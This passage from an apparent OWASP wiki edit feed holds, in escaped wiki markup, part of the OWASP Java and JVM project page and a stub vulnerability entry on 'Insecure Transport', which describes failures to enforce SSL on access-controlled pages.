&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming Operations ==&lt;br /&gt;
&lt;br /&gt;
None at the moment. Everything is ongoing or in early idea state.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | Java and JVM security related net resources guide&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP Java and JVM Technology Knowledge Base is principally about creating deep, rich guidance for Java and JVM developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything arounf the JVM universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | Concrete guidline for Java and JVM developers&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| Clear checklists, around various topics, language, servers and frameworks.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== Archived Operations ==&lt;br /&gt;
&lt;br /&gt;
None at the moment. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Get involved =&lt;br /&gt;
&lt;br /&gt;
The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.&lt;br /&gt;
&lt;br /&gt;
When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time. &lt;br /&gt;
&lt;br /&gt;
Please also be patient with expecting the &amp;quot;merge&amp;quot; of your work into the existing project pages and code. As everywhere in live, trust has to be built-up. &lt;br /&gt;
&lt;br /&gt;
The Java and JVM knowledge base has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends. &lt;br /&gt;
&lt;br /&gt;
Sounds cool? Then jump in...&lt;br /&gt;
&lt;br /&gt;
To get involved join the mailing list, follow this link: [http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Mailing List]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Archives =&lt;br /&gt;
&lt;br /&gt;
The previous version of this JAVA Project home page is archived here: [[OWASP Java Project Archive (8.2010)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.''' The review effort is coordinated on this page: [[OWASP Java Project WIPRO 1 2015|Wiki Pages Review Operation - 2015/2016]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(The pages in the &amp;quot;old&amp;quot; category &amp;quot;OWASP Java Project&amp;quot; have to be moved into the category &amp;quot;Java&amp;quot;. Work is in progress).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;categorytree mode=pages&amp;gt;OWASP Java Project&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Wikimedia insert classified page list here --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Technology]]&lt;br /&gt;
[[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Insecure_Transport&amp;diff=207993</id>
		<title>Insecure Transport</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Insecure_Transport&amp;diff=207993"/>
				<updated>2016-02-02T14:35:00Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: category correction&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The application configuration should ensure that SSL is used for all access controlled pages.&lt;br /&gt;
&lt;br /&gt;
If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. However, it is not an uncommon problem that the configuration of the application fails to enforce the use of SSL on pages that contain sensitive data. &lt;br /&gt;
&lt;br /&gt;
There are three common ways for SSL to be bypassed:&lt;br /&gt;
&lt;br /&gt;
* A user manually enters the URL and types &amp;quot;HTTP&amp;quot; rather than &amp;quot;HTTPS&amp;quot;.&lt;br /&gt;
* Attackers intentionally send a user to an insecure URL.&lt;br /&gt;
* A programmer erroneously creates a relative link to a page in the application, failing to switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
* Login pages are not SSL protected&lt;br /&gt;
* A publicly accessible page contains a relative link to a protected page which forgets to switch to SSL. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* Attackers that are trying to steal login credentials, session IDs or other sensitive information&lt;br /&gt;
* Bypassing SSL by entering HTTP instead of HTTPS&lt;br /&gt;
* Sending insecure URLs of protected pages to the victim (e.g. login page) to trick the victim into accessing the privileged pages via HTTP&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Control 1]]&lt;br /&gt;
* [[Control 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|add links&lt;br /&gt;
&lt;br /&gt;
In addition, one should classify vulnerability based on the following subcategories: Ex:&amp;lt;nowiki&amp;gt;[[Category:Error Handling Vulnerability]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Availability Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authorization Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authentication Vulnerability&lt;br /&gt;
&lt;br /&gt;
Concurrency Vulnerability&lt;br /&gt;
&lt;br /&gt;
Configuration Vulnerability&lt;br /&gt;
&lt;br /&gt;
Cryptographic Vulnerability&lt;br /&gt;
&lt;br /&gt;
Encoding Vulnerability&lt;br /&gt;
&lt;br /&gt;
Error Handling Vulnerability&lt;br /&gt;
&lt;br /&gt;
Input Validation Vulnerability&lt;br /&gt;
&lt;br /&gt;
Logging and Auditing Vulnerability&lt;br /&gt;
&lt;br /&gt;
Session Management Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Deployment]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Environmental Vulnerability]]&lt;br /&gt;
[[Category:Communication]]&lt;br /&gt;
[[Category:SSL]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	</feed>